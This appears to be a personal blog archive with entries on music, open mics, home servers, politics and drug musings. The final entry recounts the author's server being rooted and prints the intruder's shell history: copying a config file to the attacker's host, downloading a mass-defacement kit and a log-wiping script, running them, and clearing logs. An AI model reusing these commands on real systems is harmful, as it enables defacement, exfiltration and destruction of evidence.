Never been one to let the carrier drop

http://www.paulgraham.com/say.html

I wish there was some way to know if these links would even work in ten years, or even five..

The problem with web links is that they point to something that might not be there tomorrow. The librarians of the world are coming up with a archival web link system, which would permit me to create a link to that article and know that it will still work fifty years from now, but it’s taking them a while – which is hardly suprising, when you consider how large the web is.

[I bet there’s more than a hundred terabytes of porn out there for any one taste 😉 I don’t know why people are commenting on the adult entertainment industry’s shutdown, it’s not like we don’t already have enough porn.. ]

I want google to support a ‘whistle into the mic and we’ll find you the song’ search mode.

Bleh.

For any of you seattlites who still haven’t checked out United States Of Electronica, you really are missing out.

And they’re going to be playing out a bunch in the next few months, which I’m very much looking forward to.

In general, there are way too many good things to do and not enough time to do them in. I spent most of today puttering around, getting set up to do debugging on the duncan code again, etc..

My firewall is now 4-way – four ethernet interfaces. Dizzying.

I got the sound card in it working and hooked up to the mixer that drives my PC speakers [a pair of 12″ 3-ways driven by a 200W amp – I take my computer sound very seriously]. So now those of you with sheer.us accounts can make my life miserable.

I also bought a tape robot on ebay, which I plan on charging back to H. as a neccesary expense for our operation – because being not-backed-up was just getting too scary. The other day I power-cycled during a write operation [don’t ask why. It’s a long story involving drugs, alchohol, broken motherboards, and a lot of other less nice things] and the disk array had to do a rebuild.. which 3ware thoughtfully labelled as ‘initializing’.

Well, that’ll make you nervious. You pull up the web interface for your RAID array and you see ‘Initializing’. I figured it couldn’t possibly mean formatting, because I could still read it.. but still, you never know.

Anyone want a P-III motherboard and some RAM? Might tend to crash occasionally.. heh heh heh

Gateway’s failure was just weird anyway. The thing decided it could only see 393M of RAM. Okay, now I’ve seen a lot of weird numbers in my life, but how do you get 393 megs ?

Tory’s coming over soon..

spammers, please feed my baysian filter at spam@sheer.us

http://www.sfgate.com/cgi-bin/article.cgi?file=/gate/archive/2004/03/25/genitalpierce.DTL

And, although I can’t find a link for it, I hear that Georga is going to require peaceful protesters to put up a bond equalling possible cleanup costs, and that they will not be permitted to protest for more than 2.5 hours nor carry signs on sticks.

Sounds like it’s time for revolution to me. 😉

S.

[p.s. – maybe we should split the U.S. up into two countries. All the rabid Bush supports can go to one, and all the sane people to the other. ;-)]

Well, my parents should be happy, I watched the sun rise on Easter.

Hmm. Maybe not, actually.

I went to a really, really *kickass* party last night – the last one in the Parallex chain, and E/S really outdid themselves. Everyone was good, and the last DJ (DJ Treez) was awesome beyond compare. The vibe was definately there.. for me at least.

Think this is probably the best easter I have had as of yet.

I had a breif period, after watching a Peter Jennings special, of thinking I wanted to try E/MDMA (which has been on my ‘no’ list for a long time) after all. But then after talking to one of our neighborhood E dealers (who was very much enjoying it himself) I decided no, I don’t think I do. He said I would never feel happier than when I was on it – and something about the way he said it just creeped the hell out of me.

I have to admit, the idea of trying a new drug was exciting to me for a while. But, no dice, it goes back on the bad list. I can’t even say why.. it’s one of those bizarre quantitative things.

Besides, I watched a beautiful happy candy kid turn into a miserable wreck when the crash hits. I don’t think I need that – I like leaving the party still feeling good too much. I’ll stick with my own breeds of happiness, synthetic and natural – especially if that is a typical reaction.. staring out the window looking so miserable that there aren’t words for it. Mild depression my ass..

Actually, I had a major PLUR hangover today. (You know, urge to smile at everyone, calm, and the beat keeps sounding in your head..) but it was okay. I did another open mic at the LL, I sucked, but I didn’t even care that I sucked that much. Mostly, I wasn’t that afraid.

I’ve decided that the next thing my musical entorage needs is some voice lessons. There’s a friend of ‘s that gives them, maybe I’ll give him a try first. Breath control, mostly, I need breath control. I’m always running out of air, and that’s no good at all.

So I had at least a day and party of complete freedom from fear..

Actually, funny aside. I’m always worrying about my car getting broken into – my parents were big on worrying about that sort of thing, and they passed it on – but not once, but twice, I have stopped to get directions or something and then left the passenger window open, and then parked – once in one of the worst neighborhoods in L.A. (you know, the kind where every car has the Club) and again last night in downtown Seattle – and nothing bad has happened. This time, my cell phone was sitting on the seat in full view of anyone, and there was not so much as a single call on it that I didn’t make. And the time in LA, there was not one but two high-performance laptops in the backseat.

So I’ve concluded that people aren’t nearly so inclined to break into cars in cities as one might think.

Well, I better get to work.

Me + Tory, includes Tory on _drums_! Like, those things you beat on. 😉

S.

Grab the book nearest you, turn to page 23, find the fifth sentence. Write down what it says, along with these sentences, and post it in your journal.

1) Stone Mirror – 2) Ranger Rick – 3) Rialian – 4) Elenbarathi – 5) Starsandfishes – 6) Echthros – 7) Doltaghey – 8) Autumnflame – 9) Aliterati – 10) Greensword – 11) Sheer_panic

Brandy, and Tom got increasingly close-mouthed and sour. Although a certain sense of tripartite society survived down to Christian times, the three classes described in the Eddic poem “Rigdthula” bear little resemblance to Dumezil’s three. It is often argued, and still oftener thought, that none but bad men would desire to weaken these salutary beliefs; and there can be nothing wrong, it is thought, in restraining bad men, and prohibiting what only such men would wish to practice. At its nearest point the wall was little more than one league from the City, and that was south-eastward. When he saw Jack Hare jump towards the fire, and the Practical Man brandishing the toasting-fork, Sir Isaac grabbed the strings of gravitational force that bound Jack to his destiny and PULLED— That’s a seventy-four gun privateer, besides. To honour a group of British nobles, treacherously slain at a conference by Hengist’s guards, Aurelius decides to erect a great monument near Amesbury. Describe how the temperature of the pie changes as time passes. This is no isolated fact. I think that a good newspaper is as truly an educational institution as a college, so I don’t see why it should have to stake its survival on attracting advertisers of ball-point pens and tickets to Hollywood peep shows. The interne examined the patient as closely as possible but refrained from touching him.

Okay, so I have to comment on my open mic experience, since it was such a large thing for me.

I got there at about 6:10 – Esen had already signed us up for 8:40, so that left me with two and a half hours of fear.. 😉 Esen’s SO, Thor, was there, and we talked about algorythms until 7.. [does anyone know a really graceful way to count the number of bits that are turned on in a arbitrarily large register?] when people started playing. There were a variety of acts of all quality levels.. two particular ones stand out as being truly great.. there was a guy who played Hendrix like Hendrix.. he rocked the house quite nicely, I’m sad I didn’t get his name. And then there was a woman who did a little couple of little blues songs with pretty good piano accompniment.. (walking bass line) and a voice that _would not STOP_. There was also a guy who sang a great song about Washington D.C. and its lack of representation, which was also good.. and a guy who morphed ‘ground control to major tom’ to be a song about Beans the Dog, who ran away.. I can’t describe the song, but it was clever and funny. Hm. Other things that stand out in my mind? A singer/songwriter who did ‘my girl’, which made me decide I have to add some motown to my mix.. maybe ‘what becomes of the brokenhearted’ since I love the Funk Brothers / Standing In The Shadows of Motown remix of it so much… though, a lot of what I love about it there is the phat choir breakdown, and lacking eight voices to do 8-part harmony, that’s not going to be happening for me any time soon.

But anyhoo…

We talked about electronic voting machines and other machinations. Mike showed up. I drank a irish coffee.. [very, very tasty and definately helped me be a little less terrified].

Before we knew it it was 8:40 and me + Patti were ascending the stage. ‘Winter’ went as smooth as a baby’s bottom.. well, so I’m told. I don’t remember anything but the sustain pedal trying to run away from me, and looking up a few times..

‘Sounds of Silence’ got some serious applause, although maybe they were applauding that we were done. I tried to do some fancy fingering for the solo, and slipped up on my timing a couple of times. But I don’t think anyone who didn’t know what i was trying to do could have known that I had screwed up. ANyway, I got through it without anything too dischordant happening. One guy even gave me a thumbs up as I was leaving the bar, which made me feel really good..

So that’s it. My virginity is gone 😉 And I want to go back and do it again. Maybe not there. Maybe I’ll just do a couple of my guitar songs down on the corner. Who knows. But while it was pretty terrifying, it was also pretty cool. And I know that I can overcome the terror, and I know that overcoming the terror will be good for me.

o/~ Strum your guitar, sing it kid.. just write about your feelings, not the things you never did.. inexperience – it once accursed me – but your youth is no handicap, it’s waht makes you thirsty… o/~

[and then afterwords, Esen and Thor came over and we played and sang and talked and had a good time.. then I talked to another cool amazon employee on Brig, and did a RFS transmission for them..

And now I’m going to sleep. My box has all the kernals upgraded appropriately. For those who are curious, I downloaded the mass.tgz that the attacker used. It lives at www.sheer.us/owned/

http://www.pittsburghlive.com/x/search/s_186625.html

Okay, let’s think about this.

I am against child porn. I think pretty much everyone wno knows me would know that I am against child porn.

But I feel this is a violation of this girl’s first amendment rights.

Look, the bill of rights might have to be modified somewhat for people under 18, but that doesn’t mean it doesn’t exist.

If you, as a 15 year old (or a 90 year old) voluntarily choose, without coercion, to photograph yourself without clothing or doing sexually explicit acts, that is your right. Arresting you for this is morally wrong.

[Oh boy. Now comes the hard part. ]

The problem is, theoretically, I hate child porn. But you know what? I don’t think as a child, you should be legally punished for showing your body. I mean, what’s next, busting people for playing doctor?

If you want to do it, it’s your body, your mind..

I understand that this brings up serious problems.. how do you know if child porn that someone has is consentual or not? How do you know if any porn contains children who were coerced, or children who chose to perform?

I don’t know. This brings up a lot of grey areas, for sure. But they better not do anything to her.

I would LOVE a audio recording of that trial. I’m sure it’s going to have some priceless moments.

I wonder if there’s anywhere that I can donate to her defense fund.

Well, a day of good and bad spots.

First of all, let me just say, the U.S.E. CD release party _rocked_! I realize very few of my friends list lives in Seattle, and of those who do, most wouldn’t ever do anything as peblean as listening to U.S.E., but I don’t care. It rocked. If you like the B-52s, or 80s pop in general, their CD is well worth the $12. Those of you not in the SeaTac area can buy it at their web site.

No, they’re not paying me to plug them. 😉 They’re just really good. And their music has hope – something that I’ve been missing. 😉

Anyway, second of all, Curious warned me and I was a bad Sheer and didn’t listen.. the kernel on sheer.us had two known paths to root from nonpriv’d users.. and I got owned, by
aarkan@rachacuca.homelinux.com.

A excerpt of the .bash_history, for those of you who like such things, is below:

who
ps aux
cd /usr/local/apache/conf
ls
who
ftp ftp.grupong.v10.com.br
ftp ftp.grupong.v10.com.br
ftp rachacuca.homelinux.com
ftp rachacuca.homelinux.com
scp httpd.conf aarkan@rachacuca.homelinux.com
scp httpd.conf aarkan@rachacuca.homelinux.com:/home/aarkan
cd
cd /root
cd .ssh
ls
rm know_hosts
cat /dev/null > known_hosts
cd /tmp
cd /home
ls
cd kenny
ls
cd ..
ls
cd netlogin
ls
cd ..
lls
ls
cd
cd /
mkdir mass
cd mass
wget www.geocities.com/xferror/mass.tgz
wget rachacuca.homelinux.com/NG/index.html
uname -a
wget rachacuca.homelinux.com/NG/index.html
rm index.html
mv index.html.1 index.kmg
tar zxvf mass.tgz
./mass /home
chmod 777 mass
chmod 777 mass2
chmod 777 mass3
cd /usr/local/apache/logs
ls
cat /dev/null > *
ls -l
cd /mass
wget rachacuca.homelinux.com/NG/limpalog.sh
chmod 777 limpalog.sh
./limpalog.sh /usr/local/apache/logs
ls -l /usr/local/apache/logs
./limpalogs.sh /var/logs
./limpalog.sh /var/log
./limpalog.sh /var/log/httpd
./mass /home
./mass1 /home
./mass2 /home
./mass3 /home
rm brk2.zip
rm bind.zip
rm -rf /mass

Anyway, normally I’d be completely cool with this – but he didn’t leave the old index.html’s renamed, so I’m somewhat annoyed at him.

Look, security can be a game of chess, fun for both sides – or it can be a war, involving cops and thugs and jail time and stuff. If no damage is done, it’s a lot more likely to stay the former – fun for everyone.

Hackers, ALWAYS back up waht you deface. Luckily, the wayback machine had most of what was lost (I hadn’t done a backup in forever. Bad sheer number 2.. )

Anyway, so right now I’m slowly progressing through the PITA of upgrading every potentially vulnerable service..